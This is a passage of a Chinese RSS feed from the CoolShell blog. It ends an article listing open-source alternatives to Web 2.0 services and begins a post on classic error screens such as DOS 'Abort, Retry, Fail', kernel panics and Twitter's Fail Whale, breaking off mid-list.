rel=\"nofollow\">iChair</a>，会议系统，支持论文提交，评审，讨论等。</li>\n<li><a href=\"http://indico-software.org/\" rel=\"nofollow\">Indico</a>，会议计划，组织，支持从简单到复杂的会议。</li>\n<li><a href=\"http://www.oschina.net/p/icecore\" target=\"_blank\">ICEcore</a>，开放团队合作软件使用社交联网统一团队工作空间、实时网络会议、项目管理、实践团体以及远程操作。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>反馈</strong>（Pollmonkey, Google Forms）</li>\n<ul>\n<li><a href=\"http://www.limesurvey.org/\" rel=\"nofollow\">Limesurvey</a>，前身为PHPSurveyor）是一款在线问卷调查程序，它用PHP语言编写并可以使用MySQL，PostgreSQL或者MSSQL等多种数据库，它集成了调查程序开发、调查问卷的发布以及数据收集等功能，使用它，用户不必了解这些功能的编程细节。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>其它</strong></li>\n<ul>\n<li><a href=\"http://www.barnraiser.org/aroundme/\" target=\"_blank\">AROUNDMe</a>，可以创建像Ning, Myspace, Yahoo or Google groups一样的合作网站。每个群组可以创建多个网页，网页上包括留言簿、博客、论坛、维基百科等功能。每个群组还可以通过xHTML, CSS, JavaScript and PHP来进行自定义。</li>\n<li><a href=\"http://interactome.org/\" target=\"_blank\">InteractOLE</a>，是一款网络学习的递交和支持平台。与其他在线学习平台不同，InteractOLE致力于教学与学习的社交和互动方面，而不是向学生们学习内容的提供。</li>\n</ul>\n</ul>\n<h4>纯Web 2.0服务</h4>\n</div>\n<div>\n<ul>\n<li><strong>Feed操作</strong>（Yahoo Pipes）</li>\n<ul>\n<li><a href=\"http://pipes.deri.org/\" rel=\"nofollow\">Deri Pipes</a>，像Yahoo Pipes一样，可视化的在线编程工具，它是一个用于过滤、转换和聚合网页内容的服务。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>Feed 聚合</strong>（Bloglines, Google Reader）</li>\n<ul>\n<li><a href=\"http://newsblur.com/\" rel=\"nofollow\">Newsblur</a>，像Google Reader一样的一个RSS在线阅读器。</li>\n<li><a href=\"http://rsslounge.aditu.de/\" rel=\"nofollow\">rsslounge</a>，基于PHP+MySQL开发的RSS供稿阅读器。可以分类，过滤供稿，设置优先权。除标准的供稿项目之外，还支持图片/照片。</li>\n<li><a href=\"http://tt-rss.org/redmine/\" rel=\"nofollow\">Tiny Tiny RSS</a>，基于Web的RSS/Atom新闻聚合器。它的UI基于Ajax技术开发所以看起非常像一个桌面应用程序。</li>\n<li><a href=\"http://getlilina.org/\" rel=\"nofollow\">Lilina</a>，一个开源的RSS新闻聚合器实现，功能强大，方便易用，而且最大的好处是不需要数据库支持。</li>\n<li><a href=\"http://openwebreader.org/\" rel=\"nofollow\">OpenWebReader</a>，多用户的RSS聚合阅读。</li>\n<li><a href=\"http://sourceforge.net/projects/gregarius/\" rel=\"nofollow\">Gregarius</a>，RSS/RDF/ATOM新闻聚合器支持OPML导入/导出，XHTML/CSS输出。它包含一个基于Ajax的itemtagging系统。</li>\n<li><a href=\"http://cheetah-news.com/\" rel=\"nofollow\">Cheetah News</a>，利用AJAX技术构建的RSS阅读器，完美支持中文。</li>\n<li><a href=\"http://www.oschina.net/p/memephage\" target=\"_blank\">Memephage</a>，是一种自动化网络日志。它能搜集并总结从不同地方收集来的连接，目前是从IRC, 社交MUD，邮件和浏览器中搜集，并使用POE多任务处理和网络框架。</li>\n<li><a href=\"http://sourceforge.net/projects/ozcode/\" target=\"_blank\">Ozcode</a>，是Ozmozr.com背后的源代码, 一个微型RSS聚合器，可以进行网络社交、信息分享、身份聚合与展示的网站。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>社区聚合</strong>（FriendFeed）</li>\n<ul>\n<li><a href=\"http://identi.ca/\" rel=\"nofollow\">Identi.ca</a>，一个新的微网志服务, 其实现在微博服务真的是很多了, 不过这个比较特别一点的是, identi.ca 用PHP 开发, 可以用jabber/GTalk, 也可以用openid 来登录，主要的是，其是开源项目。</li>\n<li><a href=\"http://noserub.com/\" rel=\"nofollow\">Noserub</a>，提供的建站程序，可以创建属于你的微型门户，包括 Blog、网络摘录、图片分享、视频、Twitter 等等的，都可以罗列出来，并且通过 RSS 实时更新内容，你的朋友们可以方便的获知你在网络里经常去哪里，最近在关注一些什么，做些什么，想些什么。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>社区新闻</strong>（digg）</li>\n<ul>\n<li><a href=\"http://meneame.net/\" rel=\"nofollow\">Meneame</a>，程序是类似Digg的西班牙程序，网址是<a href=\"http://websvn.meneame.net/\">http://websvn.meneame.net/</a></li>\n<li><a href=\"http://pligg.com/\" rel=\"nofollow\">Pligg</a>，最灵活的类似Digg的Web2.0 CMS系统！网页设计师可以使用<em>Pligg</em>做他(她)想做的任何事情。稍微懂一些PHP和Mysql的知识即可安装<em>Pligg</em>。</li>\n<li><a href=\"http://drupal.org/project/drigg/\" rel=\"nofollow\">Drigg</a>，基于Drupal 构建的PHP的Digg网站系统。</li>\n<li><a href=\"http://www.reddit.com/\" rel=\"nofollow\">Reddit</a>，其源码和文档在这里：<a href=\"https://github.com/reddit/reddit\">https://github.com/reddit/reddit</a></li>\n<li><a href=\"http://sourceforge.net/projects/communitynews/\" target=\"_blank\">CommunityNews</a>，通过使用社交书签和贝叶斯定理技术向博客定期提供记录。用户可以通过投票支持或反对RSS来源以支持那些受欢迎的资源。</li>\n<li><a href=\"http://opensource.newscloud.com/\" target=\"_blank\">NewsCloud</a>，是一款基于NewsCloud.com专为平民新闻业和社会新闻网络设计的开源传媒平台。</li>\n<li><a href=\"http://jamss.sourceforge.net/\" target=\"_blank\">Jamss</a>，是基于Digg.com的社交新闻网站, 其通过PHP/MySQL运行。.Jamss 考虑到了行内意见和网络文章的评论，还可以灵活适应多种主题。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>社区网络</strong>（Facebook, Twitter）</li>\n<ul>\n<li><a href=\"http://portal.friendika.com/\" rel=\"nofollow\">Friendika</a>，一个由PHP+MySQL的免费应用程式(Open Source)，提供使用者一个单一的界面来控制社群网路服务。支援的社群网路应用服务包括Facebook，Twitter、WordPress、Blogger、Identi.ca、RSS订阅与电子邮件等等的整合服务。</li>\n<li><a href=\"https://joindiaspora.com/\" rel=\"nofollow\">Diaspora</a>，让你将您的关系分成多个视图（Google+的圈子），每个视图是您生活的不同部分。这是Diaspora首创，用来确保您的照片、经历和笑话，只与您所希望分享的人分享。</li>\n<li><a href=\"http://buddypress-es.com/\" rel=\"nofollow\">Buddypress</a>，是 WordPress 母公司的一个全新的开源程序，BuddyPress 从本质上说其实是 WordPress 的插件。BuddyPress 把 WordPress的关注点从博客转移到了社区。当然，用户还是能够使用WordPress的所有的博客功能，只是当用户使用 BuddyPress 时，第一要做的是创建他们个人档案，第二才是写博客。</li>\n<li><a href=\"http://foocorp.org/projects/social/\" rel=\"nofollow\">GNU Social</a>，GNU的SNS。</li>\n<li><a href=\"http://www.elgg.org/\" rel=\"nofollow\">Elgg</a>，一款免费开源的社会性网络脚本程序(php/mysql)，以BLOG为中心实现社会网络化，从社会性来讲：Elgg以兴趣为核心的社交平台。它包括网络日志、资料存储、RSS集合、个人档案、FOAF功能等等。</li>\n<li><a href=\"http://www.socialengine.net/index_vivalogo.php\" target=\"_blank\">SocialEngine</a>，是一款由PHP和Zend控制的网络软件，其脚本让你可以轻松地创建属于你自己社交网站或是在线社区，包括自定义群组、相册、消息、用户档案、视频、新闻订阅，拖放群集邮箱服务器等等功能。</li>\n<li><a href=\"http://www.isocial.in/\" target=\"_blank\">iSocial</a>，是一款免费社交网络脚本平台，你可以用它建立像Friendster和Orkut那样可以一键使用书签，约会和建立群组的社交网站。</li>\n<li><a href=\"http://mahara.org/\" target=\"_blank\">Mahara</a>，有着电子档案、网络日志、简历编辑工具、联系用户的社交网络系统以及建立在线社区的齐全功能。</li>\n<li><a href=\"http://sourceforge.net/projects/peepagg/\" target=\"_blank\">The PeopleAggregator</a>，是全新一代的社交网站系统，它力求应用开放的标准、密切的网络互动和强大的灵活性。</li>\n<li><a href=\"http://opensource.appleseedproject.org/\" target=\"_blank\">Appleseed</a>，是一款类似Friendster的社交网站软件。网站运行appleseed将互通，形成Appleseed的社交网站。该软件发展的重点是对隐私和安全，以及易用的配置。</li>\n<li><a href=\"http://www.mugshots.com/\" target=\"_blank\">Mugshot</a>，则通过一系列的WEB CRM、照片、日志等等让你时刻了解朋友们的最新动态。</li>\n<li><a href=\"http://code.google.com/p/clonesumating/\" target=\"_blank\">Clonesumating</a>，是<a href=\"http://consumating.com/\" target=\"_blank\">CONSUMATING.COM</a>代码的开源版本， 其功能有用户档案、用户标签、配对并发现古怪标签合并、团队活动（比如每周照片评选、博客问答）、事件日历、PSS订阅等等。</li>\n<li><a href=\"http://www.bevolunteer.org/trac/\" target=\"_blank\">BeWelcom Rox</a>，是<a href=\"http://www.bewelcome.org/\" target=\"_blank\">www.bewelcome.org</a>等其他社交网站的运作平台，它将人们真实地聚集了在一起。在那里人们了解全球村庄以及其他文化，分享自己的所在地，组织旅游，写旅游博客等等。</li>\n<li><a href=\"http://sourceforge.net/projects/openpne/\" target=\"_blank\">OpenPNE</a>，是由PHP写成的网络社交服务引擎，其功能有好友管理、好友邀请、日记、博客、订收件箱等等。</li>\n<li><a href=\"http://sourceforge.net/projects/worldspace/\" target=\"_blank\">WorldSpace</a>，是一款用户可拓展的共享虚拟空间，它致力于成为新一代的社交网络系统。</li>\n<li><a href=\"http://zoints.com/\" target=\"_blank\">Zoints</a>，这一款软件熟知在线社区是互联网中最重要的一部分，它所正是为帮助解决论坛版主所面临的三大问题（即获得会员，保留会员和盈利）而设计的。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>社区书签</strong>（Delicious）</li>\n<ul>\n<li><a title=\"Scuttle\" href=\"http://en.wikipedia.org/wiki/Scuttle\">Scuttle</a>，开源Web书签系统，允许多个用户在线存储，共享和Tag他们喜欢的链接。</li>\n<li><a href=\"http://sourceforge.net/projects/semanticscuttle/\" rel=\"nofollow\">Semantic Scuttle</a>，是一款基于Scuttle的社交书签工具。它可以试验像层次化标签、合作描述、OpenID认证这样的全新功能。</li>\n<li><a href=\"http://sourceforge.net/projects/sabrosus/\" rel=\"nofollow\">Sabros.us</a>，一个基于互联网的书签系统。它与del.icio.us 是相似，您能在网上处理您的书签, 或者自己建立一个网站。</li>\n<li><a href=\"http://www.connotea.org/\" rel=\"nofollow\">Connotea</a>，是 NGP(Nature Publishing Group) 旗下的网站，借鉴当前流行的 del.icio.us 等社会书签的创意，专注于科研领域，并可导入桌面文献管理软件的数据，是当前比较流行的一款在线文献管理工具。</li>\n<li><a href=\"https://github.com/alx/pressmark/\" rel=\"nofollow\">Pressmark</a></li>\n<li><a href=\"http://www.shiftspace.org/\" rel=\"nofollow\">Shiftspace</a>，让你的Wordpress成为像 <a href=\"http://del.icio.us/\">del.icio.us</a>, <a href=\"http://sabros.us/\">sabros.us</a>这样的站点。</li>\n<li><a href=\"http://wwwhatsnew.com/2006/02/02/magnolia-algo-grande-llega-desde-el-mundo-de-los-bookmarks/\" rel=\"nofollow\">Ma.gnolia 2</a>，基于Ruby开发。它的界面比较漂亮，但速度比较慢，另外搜索仅限于tag。</li>\n<li><a href=\"http://sourceforge.net/projects/akarru\" target=\"_blank\">Akarru</a>，是一款用来建立像<a href=\"http://www.blogmemes.com/\" target=\"_blank\">www.blogmemes.com</a>网站的社交书签引擎。用户可以通过投票系统在首页上张贴链接并推销链接。</li>\n<li><a href=\"http://www.shokk.com/blog/articles/category/monkeychow/\" target=\"_blank\"> Monkey Chow</a>，是一款带有社交书签、主题文章、来源标签、OPML、文章搜索、编辑来源属性等等众多功能的新闻聚合浏览器。</li>\n<li><a href=\"http://feedmelinks.com/\" target=\"_blank\">Feed Me Links</a>，可以将你的书签存储在网上以便随时随地使用，输入你最喜爱的网址并和好友们分享，加标签来管理不同链接，还有更多新鲜事物等待你来发现。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>短网址服务</strong>（TinyURL）</li>\n<ul>\n<li><a href=\"https://gitorious.org/mencey/tinyull\" rel=\"nofollow\">tinyULL</a>，不是tinyURL，别看错了。</li>\n</ul>\n</ul>\n<h4>身份和安全</h4>\n</div>\n<div>\n<ul>\n<li><strong>域名</strong></li>\n<ul>\n<li><a href=\"http://www.namecoin.us/\" rel=\"nofollow\">Namecoin</a>/<a href=\"http://dot-bit.org/\" rel=\"nofollow\">.bit</a>，基于bitcoin技术的分散、开放DNS系统。.bit域名到底靠不靠谱啊，是不是有P2P网络存在，.bit网站就能永远访问？会不会被墙？我们不得而之。</li>\n<li><a href=\"http://www.socialdns.net/\" rel=\"nofollow\">Social DNS</a></li>\n<li><a href=\"http://distributeddns.sourceforge.net/\" rel=\"nofollow\">Distributed DNS</a></li>\n</ul>\n</ul>\n<ul>\n<li><strong>身份凭证</strong></li>\n<ul>\n<li><a href=\"http://wiki.openid.net/w/page/12995176/Libraries/\" rel=\"nofollow\">OpenID</a>，一个去中心化的网上身份认证系统。对于支持OpenID的网站，用户不需要记住像用户名和密码这样的传统验证标记。取而代之的是，他们只需要预先在一个作为OpenID身份提供者（identity provider, IdP）的网站上注册。OpenID是去中心化的，任何网站都可以使用OpenID来作为用户登录的一种方式，任何网站也都可以作为OpenID身份提供者。OpenID既解决了问题而又不需要依赖于中心性的网站来确认数字身份。OpenID正在被越来越多的大网站采用</li>\n<li><a href=\"http://oauth.net/code/\" rel=\"nofollow\">OAuth</a>，（开放授权）是一个开放标准，允许用户让第三方应用访问该用户在某一网站上存储的私密的资源（如照片，视频，联系人列表），而无需将用户名和密码提供给第三方应用。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>加密</strong></li>\n<ul>\n<li><a href=\"http://www.cacert.org/\" rel=\"nofollow\">CACert</a>，想给自己申请一份电子邮件证书或者给自己的<a href=\"http://blog.mop.name/category/%e8%b6%a3%e7%ab%99\" target=\"_blank\">网站</a>、服务器申请一个SSL证书是很不容易的，你每年都得给CA（证书颁发验证组织）缴纳不少的证书申请费。有了CAcert，国外一个<a href=\"http://blog.mop.name/category/free\" target=\"_blank\">免费</a>的数字证书颁发组织，你可以<a href=\"http://blog.mop.name/category/free\" target=\"_blank\">免费</a>注册成为用户，申领个人证书和服务器证书等。证书被各种浏览器、邮件客户端所支持。</li>\n</ul>\n</ul>\n<h4>其它</h4>\n<ul>\n<li><strong>翻译</strong>（Google Translator）</li>\n<ul>\n<li><a href=\"http://www.apertium.org/\" rel=\"nofollow\">Apertium</a>，一个机器翻译平台，由西班牙政府和加泰罗尼亚自治政府拨款支持阿利坎特大学开发。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>桌面</strong>（iGoogle, netbives）</li>\n<ul>\n<li><a href=\"http://www.eyeos.org/\" rel=\"nofollow\">EyeOS</a>，一款web桌面环境, 俗称Web Operating System (Web OS)或者Web Office. eyeOS是一个开源的软件, 用户可以自由下载或者在eyeOS的服务器 eyeOS server 上使用. 基本的系统附带一些办公软件和 PIM 应用, 并且在官方http://eyeos.org可以找到完整的程序代码。其开发哲学是：Taking Your Life Everywhere!</li>\n<li>CorneliOS，一款运行在服务器端、基于网络的网络虚拟操作系统，本身通过HTML和（或）XHTML为用户提供各种服务，这也就意味着用户只需要使用普通浏览器即可连接并使用这款操作系统。非常类似 eyeOS。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>3D库</strong>（Google SketchUp 3D Warehouse, Google O3D API）</li>\n<ul>\n<li><a href=\"https://wiki.mozilla.org/Canvas:3D\" rel=\"nofollow\">Mozilla Canvas 3D</a>，OpenGL 3D Web。</li>\n<li><a href=\"http://www.doogal.co.uk/KmlViewer.php/\" rel=\"nofollow\">Web KML Viewer</a>。</li>\n</ul>\n</ul>\n<div><strong>参考</strong></div>\n<div>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/List_of_free_software_for_Web_2.0_services\" target=\"_blank\">Wikipedia</a></li>\n<li><a href=\"http://www.dasheyin.com/da_jian_ni_zi_ji_de_she_jiao_wang_luo_kai_yuan_she_jiao_wang_luo_cheng_xu_ji_he.html\" target=\"_blank\">搭建你自己的社交网络：开源社交网络程序集合</a></li>\n</ul>\n</div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5132.html\">疯狂的 Web 应用开源项目</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5132.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>108</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>10大经典错误</title>\n\t\t<link>https://coolshell.cn/articles/5107.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5107.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 08 Aug 2011 00:37:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[404]]></category>\n\t\t<category><![CDATA[Error]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5107</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是10、11个经典的错误，升序排名。希望大家补充！ 10、DOS的Abort，Retry, Fail？错误 85年以后出生的人可能不知道DOS是什么了，只有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5107.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是10、11个经典的错误，升序排名。希望大家补充！</p>\n<h4>10、DOS的Abort，Retry, Fail？错误</h4>\n<p>85年以后出生的人可能不知道DOS是什么了，只有那老家伙还知道这是什么。我还记得当时的我对于Abort和Fail这两个选择还是比较清楚的，不过，今天完全忘记了Abort和Fail的差别是什么？这个出是DOS下的经常出现，也相当的经典，以至于在Wikepedia上都有专门的业面 <a href=\"http://en.wikipedia.org/wiki/Abort,_Retry,_Fail%3F\" target=\"_blank\">Abort, Retry, Fail?</a>。简称为ARF。当然，ARI &#8211; Abort, Retry, Ignore?</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5108\" title=\"Dos Abort Retry Fail\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/Dos_Abort_Retry_Fail.png\" alt=\"\" width=\"220\" height=\"112\" /></p>\n<h4>9、Windows Vista 的红屏错误</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Red_Screen_of_Death\" target=\"_blank\">红屏错误</a>（RSoD &#8211; Red Screen of Death）不单单只是Windows Vista引入的（也许是蓝屏太有名了，突然变成红屏，大家觉得这个是比蓝屏更NB的错，所以也就引人关注了），PlayStation的也喜欢使用红屏。</p>\n<figure id=\"attachment_5109\" aria-describedby=\"caption-attachment-5109\" style=\"width: 512px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5109  \" title=\"Longhorn RSoD\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/Longhorn_RSoD.png\" alt=\"\" width=\"512\" height=\"320\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/Longhorn_RSoD.png 640w, https://coolshell.cn/wp-content/uploads/2011/08/Longhorn_RSoD-300x187.png 300w\" sizes=\"(max-width: 512px) 100vw, 512px\" /><figcaption id=\"caption-attachment-5109\" class=\"wp-caption-text\">Windows Vista 的 RSoD</figcaption></figure>\n<p><span id=\"more-5107\"></span></p>\n<figure id=\"attachment_5110\" aria-describedby=\"caption-attachment-5110\" style=\"width: 480px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5110\" title=\"PSP的红屏\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/Rsodhc6.png\" alt=\"\" width=\"480\" height=\"272\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/Rsodhc6.png 480w, https://coolshell.cn/wp-content/uploads/2011/08/Rsodhc6-300x170.png 300w\" sizes=\"(max-width: 480px) 100vw, 480px\" /><figcaption id=\"caption-attachment-5110\" class=\"wp-caption-text\">PSP的红屏</figcaption></figure>\n<h4>8、PC机的开机报警</h4>\n<p>攒过PC的朋友都知道如果你的内存条有问题，PC开机时会长鸣报警，一长一短则是显卡有问题，等等。你可以上Wikipedia上看看相关的词条——<a href=\"http://en.wikipedia.org/wiki/Power-on_self_test\">Power On Self-Test Beep</a>。</p>\n<figure id=\"attachment_5111\" aria-describedby=\"caption-attachment-5111\" style=\"width: 400px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5111\" title=\"AMI BIOS \" src=\"https://coolshell.cn/wp-content/uploads/2011/08/POST_P5KPL.jpg\" alt=\"\" width=\"400\" height=\"317\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/POST_P5KPL.jpg 400w, https://coolshell.cn/wp-content/uploads/2011/08/POST_P5KPL-300x237.jpg 300w\" sizes=\"(max-width: 400px) 100vw, 400px\" /><figcaption id=\"caption-attachment-5111\" class=\"wp-caption-text\">第一代的AMI BIOS</figcaption></figure>\n<h4>7、Twitter的大鲸鱼</h4>\n<p>Twitter的服务器负载一吃紧，下面的这个页面就会显现出来了，大家把它叫做<strong>Fail Whale </strong>，这个情况在今年4月份以前的2到3年是非常频繁发生的，现在看似好很多了，看来Twitter工程师们克服了这个负载问题。你千万不要以为这个图是Twitter自己设计的，这个图是一个叫<a href=\"http://www.google.com/search?q=yiying+lu&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=FlockInc.:en-US:unofficial&amp;client=firefox\">Yiying Lu</a>的人设计的。不过由Twitter引发出来的文化影响力是比较深远的，甚至还出现了相要把这个事发扬光大的Fail Whale project (<a href=\"http://www.twitter.com/failwhale\">@FailWhale</a>, <a href=\"http://www.failwhale.com/\">failwhale.com</a>)以及相关的T恤衫。你可以看看<a href=\"http://www.readwriteweb.com/archives/the_story_of_the_fail_whale.php\" target=\"_blank\">这篇文章</a>。</p>\n<figure id=\"attachment_5112\" aria-describedby=\"caption-attachment-5112\" style=\"width: 511px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5112 \" title=\"Twitter Fail Whale\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/FailWhale.png\" alt=\"\" width=\"511\" height=\"375\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/FailWhale.png 639w, https://coolshell.cn/wp-content/uploads/2011/08/FailWhale-300x220.png 300w\" sizes=\"(max-width: 511px) 100vw, 511px\" /><figcaption id=\"caption-attachment-5112\" class=\"wp-caption-text\">Twitter Fail Whale</figcaption></figure>\n<h4>6、Kernel Panic</h4>\n<p>Kernel Panic相关于Windows 的蓝屏错误，其发生在Mac OS X和Linux下，在Mac OS X v10.6 <em>Snow Leopard</em>中，当进入内核错误后，会在画面上出现一个有英语、法语、德语、西班牙语及日语的当机画面，被多数用户称为“五国语言当机”，简称“五国”。在Linux上则是Linux Kernel oops。当内核检测到问题时，它会打印一个oops信息然后杀死全部相关进程。oops信息可以帮助Linux内核工程师调试，检测oops出现的条件，并修复导致oops的程序错误。</p>\n<figure id=\"attachment_5113\" aria-describedby=\"caption-attachment-5113\" style=\"width: 460px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5113\" title=\"Mac OS X 10.6的内核错误警告，俗称“五国”\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/Panic10.6.png\" alt=\"\" width=\"460\" height=\"285\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/Panic10.6.png 460w, https://coolshell.cn/wp-content/uploads/2011/08/Panic10.6-300x185.png 300w\" sizes=\"(max-width: 460px) 100vw, 460px\" /><figcaption id=\"caption-attachment-5113\" class=\"wp-caption-text\">Mac OS X 10.6的内核错误警告，俗称“五国”</figcaption></figure>\n<figure id=\"attachment_5114\" aria-describedby=\"caption-attachment-5114\" style=\"width: 480px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5114 \" title=\"Linux-2.6-oops-parisc\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/Linux-2.6-oops-parisc.jpg\" alt=\"\" width=\"480\" height=\"480\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/Linux-2.6-oops-parisc.jpg 600w, https://coolshell.cn/wp-content/uploads/2011/08/Linux-2.6-oops-parisc-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2011/08/Linux-2.6-oops-parisc-300x300.jpg 300w\" sizes=\"(max-width: 480px) 100vw, 480px\" /><figcaption id=\"caption-attachment-5114\" class=\"wp-caption-text\">PA-RISC上发生的Linux内核oops，用ASCII显示一头死牛</figcaption></figure>\n<h4>5、Windows的非法操作</h4>\n<p>这个错误信息主要是操作系统用来保护自己的错误，也就是Windows下的程序crash。通常来说，是内存访问错误引发的。不过，这个东西在windows下太多了，这是Win95和Win98中的大量的问题，包括微软自己的软件也经常出现这个问题，最为典型的就是IE6的crash。让IE6 出现这样的错误真是太简单了，参看<a title=\"一个jQuery的插件\" href=\"https://coolshell.cn/articles/2357.html\" target=\"_blank\">酷壳的这篇文章</a>。</p>\n<figure id=\"attachment_5115\" aria-describedby=\"caption-attachment-5115\" style=\"width: 398px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5115\" title=\"该程序执行了非法操作\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/gag_screenshot.gif\" alt=\"\" width=\"398\" height=\"135\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/gag_screenshot.gif 398w, https://coolshell.cn/wp-content/uploads/2011/08/gag_screenshot-300x101.gif 300w\" sizes=\"(max-width: 398px) 100vw, 398px\" /><figcaption id=\"caption-attachment-5115\" class=\"wp-caption-text\">该程序执行了非法操作</figcaption></figure>\n<h4>4、Windows RPC 